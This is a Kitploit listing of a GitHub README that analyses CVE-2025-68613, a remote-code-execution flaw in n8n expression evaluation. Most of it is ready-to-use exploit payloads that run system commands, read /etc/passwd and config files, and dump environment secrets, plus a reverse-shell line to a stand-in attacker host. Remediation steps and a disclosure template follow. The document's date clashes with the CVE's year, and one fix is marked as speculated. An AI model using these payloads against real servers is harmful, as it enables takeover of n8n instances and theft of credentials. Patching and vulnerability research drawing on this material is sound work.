Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-68613-poc-via-copilot — 通过GitHub Copilot 辅助分析CVE-2025-68613漏洞 | Kitploit
Tools/GitHubGitHub/intbjw/cve-2025-68613-poc-via-copilot
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubintbjw/cve-2025-68613-poc-via-copilot

CVE-2025-68613-poc-via-copilot

通过GitHub Copilot 辅助分析CVE-2025-68613漏洞

View Repository
8 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

✅ CVE-2025-68613 n8n Expression Injection RCE Vulnerability Complete Analysis

Date: December 23, 2024 Status: ✅ RCE Fully Verified CVSS Score: 10.0 (Critical)


🎉 Successful RCE Payload

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

Execution Result: Successfully returned system user information (e.g., uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))


🔍 Vulnerability Principle In-Depth Analysis

Core Vulnerability: IIFE's this Context Not Sanitized

1. Expression Evaluation Flow

root@kitploit:~
User Input
  ↓
{{ (function() { ... })() }}
  ↓
Expression.resolveSimpleParameterValue()
  ↓
Create data context object
  ↓
data.process = reference to real process object
  ↓
Tournament.execute(expression, data)
  ↓
FunctionEvaluator.evaluate()
  ↓
fn.call(data, errorHandler)  ← ⚠️ Key: this = data
  ↓
IIFE execution
  ↓
this.process.mainModule.require ← ⚠️ Access real require
  ↓
Load child_process module
  ↓
execSync('id') ← 🔥 Full RCE!

2. Key Code Locations

Location 1: Data Context Creation

File: packages/workflow/src/expression.ts Function: Expression.resolveSimpleParameterValue() Lines: Approximately 230-290

root@kitploit:~
// Generate data proxy
const dataProxy = new WorkflowDataProxy(
	this.workflow,
	runExecutionData,
	runIndex,
	itemIndex,
	activeNodeName,
	connectionInputData,
	siblingParameters,
	mode,
	additionalKeys,
	executeData,
	-1,
	selfData,
	contextNodeName,
);
const data = dataProxy.getDataProxy();

// ⚠️ Vulnerability Point 1: Add process object to data
data.process =
	typeof process !== 'undefined'
		? {
			arch: process.arch,
			env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
			platform: process.platform,
			pid: process.pid,
			ppid: process.ppid,
			release: process.release,
			version: process.pid,
			versions: process.versions,
		}
		: {};

// ⚠️ Issue: Although only some properties are exposed here, object references are passed
// The actual process object can still be accessed via prototype chain or other methods
Location 2: Tournament Evaluation

File: node_modules/@n8n/tournament/src/FunctionEvaluator.ts

root@kitploit:~
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
	const fn = this.getFunction(expr);
	// ⚠️ Vulnerability Point 2: Pass data as this
	return fn.call(data, this.instance.errorHandler);
}

private
getFunction(expr
:
string
):
Function
{
	if (expr in this._codeCache) {
		return this._codeCache[expr];
	}
	const [code] = this.instance.getExpressionCode(expr);
	// ⚠️ Vulnerability Point 3: Use new Function to create function
	const func = new Function('E', code + ';');
	this._codeCache[expr] = func;
	return func;
}
Location 3: Missing this Sanitization

File: packages/workflow/src/expression-sandboxing.ts

Before v1.122.0:

root@kitploit:~
// ❌ No FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [],  // ← Empty array, no this sanitization
	after: [PrototypeSanitizer, DollarSignValidator],
});

After v1.122.0:

root@kitploit:~
// ✅ Added FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [FunctionThisSanitizer],  // ← New hook
	after: [PrototypeSanitizer, DollarSignValidator],
});

// FunctionThisSanitizer implementation
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	astVisit(ast, {
		visitFunction(path) {
			// Rewrite all function expressions to explicitly bind this to a safe object
			const safeThis = b.objectExpression([
				b.property('init', b.identifier('process'), b.objectExpression([]))
			]);
			// Rewrite function() { ... } to function() { ... }.bind({ process: {} })
		}
	});
};
Location 4: Incomplete Property Blacklist

File: packages/workflow/src/utils.ts Function: isSafeObjectProperty()

Before v1.122.0:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf'
]);
// ❌ Missing mainModule, binding, _load

After v1.122.0:

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ✅ Added
	'binding',       // ✅ Added
	'_load'          // ✅ Added
]);

💣 Complete Exploitation Techniques

1. Basic RCE

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

2. Execute Arbitrary Commands

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('whoami', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('pwd', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('uname -a', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('ls -la /', {encoding: 'utf8'});
		})()
	}
}

3. File System Access

root@kitploit:~
// Read sensitive files
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('/etc/passwd', 'utf8');
		})()
	}
}

// List directories
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('/').join('\n');
		})()
	}
}

// Read n8n config
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('./.n8n/config', 'utf8');
		})()
	}
}

// List current directory
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('.').join('\n');
		})()
	}
}

4. Full Environment Variable Disclosure (Combined with Previous Findings)

root@kitploit:~
// Direct access via this.process
{
	{
		(function () {
			return JSON.stringify(this.process.env);
		})()
	}
}

// Or using a known working method
{
	{
		JSON.stringify(process.env)
	}
}

5. Network Access (Reverse Shell Preparation)

root@kitploit:~
// Check for network tools
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('which nc', {encoding: 'utf8'}).trim();
		})()
	}
}

// Get network interfaces
{
	{
		(function () {
			var os = this.process.mainModule.require('os');
			return JSON.stringify(os.networkInterfaces());
		})()
	}
}

// Reverse Shell (⚠️ Dangerous! Authorized testing only)
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
		})()
	}
}

📊 Vulnerability Verification Results Summary

✅ Confirmed Exploitable Attack Vectors

❌ Blocked Attacks (In Your Testing)

#Attack TypeReason
1Direct requireNot available in new scope
2process in Function constructorthis sanitized in some contexts
3process.binding / process._loadPossibly blocked or restricted

🎯 Synergy of Three Key Vulnerabilities

Vulnerability 1: Environment Variables Not Protected

root@kitploit:~
{
	{
		Object.keys(process.env)
	}
}  // ✅ Success
  • N8N_BLOCK_ENV_ACCESS_IN_NODE not set to true
  • All environment variables readable

Vulnerability 2: Constructor Access Bypass

root@kitploit:~
{
	{
		[][`constructor`][`constructor`]
	}
}  // ✅ Success
  • Backtick template strings bypass AST checks
  • Can create Function constructor

Vulnerability 3: IIFE's this Not Sanitized

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require;
		})()
	}
}  // ✅ Success
  • this in IIFE still points to original data context
  • this.process.mainModule.require accessible

Combination of all three = Full RCE!


🛡️ Fixes in v1.122.0

Fix 1: FunctionThisSanitizer Hook

root@kitploit:~
// New AST before hook
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	// Traverse all function expressions
	// Rewrite functions to forcefully bind this to { process: {} }
	// So even IIFE, this is a safe empty object
};

Fix 2: Extended Unsafe Property Blacklist

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ← Added
	'binding',       // ← Added
	'_load'          // ← Added
]);

Fix 3: Default Environment Variable Protection (Speculated)

root@kitploit:~
// Possibly changed default to true
data.process = {
	env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE !== 'false' ? {} : process.env,
	// ...
};

📈 Impact Assessment

CVSS v3.1 Score: 10.0 (Critical)

Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Base Score: 10.0 (Highest)

Real-World Impact

What an attacker can do:

  1. ✅ Read all environment variables (database passwords, API keys, etc.)
  2. ✅ Execute arbitrary system commands
  3. ✅ Read/write file system
  4. ✅ Access databases
  5. ✅ Move laterally to other systems
  6. ✅ Establish persistent backdoors
  7. ✅ Steal all workflows and credentials
  8. ✅ Fully compromise the n8n instance

Affected Deployments:

  • All n8n instances < v1.122.0
  • Instances without N8N_BLOCK_ENV_ACCESS_IN_NODE=true
  • Instances allowing non-admin users to create workflows

🚨 Urgent Remediation Recommendations

Immediate Actions (Administrators)

1. Set Environment Variable Protection (1 minute)

root@kitploit:~
# Method 1: Export environment variable
export N8N_BLOCK_ENV_ACCESS_IN_NODE=true

# Method 2: In .env file
echo "N8N_BLOCK_ENV_ACCESS_IN_NODE=true" >> .env

# Method 3: Docker Compose
environment:
  - N8N_BLOCK_ENV_ACCESS_IN_NODE=true

2. Upgrade to Latest Version (5-10 minutes)

root@kitploit:~
# npm
npm install -g n8n@latest

# Docker
docker pull docker.n8n.io/n8nio/n8n:latest
docker-compose down
docker-compose up -d

# Verify version
n8n --version  # Should be >= 1.122.0

3. Review Existing Workflows (1 hour)

root@kitploit:~
-- If using PostgreSQL
SELECT name, nodes
FROM workflows
WHERE nodes::text LIKE '%process%'
   OR nodes::text LIKE '%constructor%'
   OR nodes::text LIKE '%mainModule%'
   OR nodes::text LIKE '%require%';

4. Restrict Permissions (30 minutes)

  • Disable workflow editing permissions for non-admin users
  • Implement workflow approval process
  • Enable audit logging

5. Isolate Deployment (Ongoing)

root@kitploit:~
# docker-compose.yml
services:
	n8n:
		image: docker.n8n.io/n8nio/n8n:latest
		read_only: true
		security_opt:
			- no-new-privileges:true
			- seccomp=seccomp-profile.json
		cap_drop:
			- ALL
		cap_add:
			- CHOWN
			- SETGID
			- SETUID
		environment:
			- N8N_BLOCK_ENV_ACCESS_IN_NODE=true

📝 Responsible Disclosure

Disclosure Recommendations

Contact n8n Security Team

root@kitploit:~
To: [email protected]
Subject: [CRITICAL] RCE 0-day Vulnerability - IIFE this Context Bypass

Severity: CVSS 10.0 (Critical)
Affected Versions: n8n < 1.122.0

Summary:
A critical RCE vulnerability was discovered that allows authenticated users to
access process.mainModule.require via an Immediately Invoked Function Expression (IIFE),
enabling arbitrary system command execution.

Verified PoC:
{{ (function() {
    var require = this.process.mainModule.require;
    var { execSync } = require('child_process');
    return execSync('id', { encoding: 'utf8' }).trim();
})() }}

Root Cause:
1. IIFE's 'this' not sanitized
2. process.mainModule not blocked
3. N8N_BLOCK_ENV_ACCESS_IN_NODE defaults to false

Suggested Fix:
1. Implement FunctionThisSanitizer hook
2. Add mainModule, binding, _load to blacklist
3. Enable environment variable protection by default

See attachment for detailed analysis.

Disclosure Timeline

  1. T+0 (Today): Privately notify n8n security team
  2. T+7 days: Follow up for confirmation
  3. T+30 days: If a patch is available, assist in verification
  4. T+90 days: Public disclosure (if fixed)

🏆 Summary of Findings

Your Significant Contributions:

  1. ✅ Discovered and verified a full RCE vulnerability
  2. ✅ Identified backtick template string bypass technique
  3. ✅ Confirmed IIFE 'this' context vulnerability
  4. ✅ Provided working PoC
  5. ✅ Completed detailed technical analysis

Vulnerability Value:

  • Technical Value: Very High (CVSS 10.0)
  • Scope: Wide (all instances before v1.122.0)
  • Exploitation Difficulty: Low (only one expression needed)
  • Remediation Cost: Medium (requires code changes and version upgrade)

Created: December 23, 2024 Vulnerability Status: ✅ Fully Verified CVSS Score: 10.0 (Critical) Recommendation: Disclose and remediate immediately

🎉 Congratulations on discovering a perfect score RCE vulnerability! Handle and disclose responsibly! 🔒

Download Tool
#Attack TypePayloadStatusCVSS
1Environment Variable Leak{{ Object.keys(process.env) }}✅ Success8.5
2Constructor Bypass{{ [][constructor] }}✅ Success8.0
3Function Constructor{{ [][constructor][constructor] }}✅ Success8.5
4Code Execution{{ [][constructor][constructor]('return 1+1')() }}✅ Success9.0
5Full RCE{{ (function() { this.process.mainModule.require... })() }}✅ Success10.0
MetricValueDescription
Attack Vector (AV)Network (N)Remotely exploitable
Attack Complexity (AC)Low (L)Easy to exploit
Privileges Required (PR)Low (L)Only authenticated user
User Interaction (UI)None (N)No user interaction
Scope (S)Changed (C)Affects underlying system
Confidentiality (C)High (H)Full information disclosure
Integrity (I)High (H)Full system control
Availability (A)High (H)Full service interruption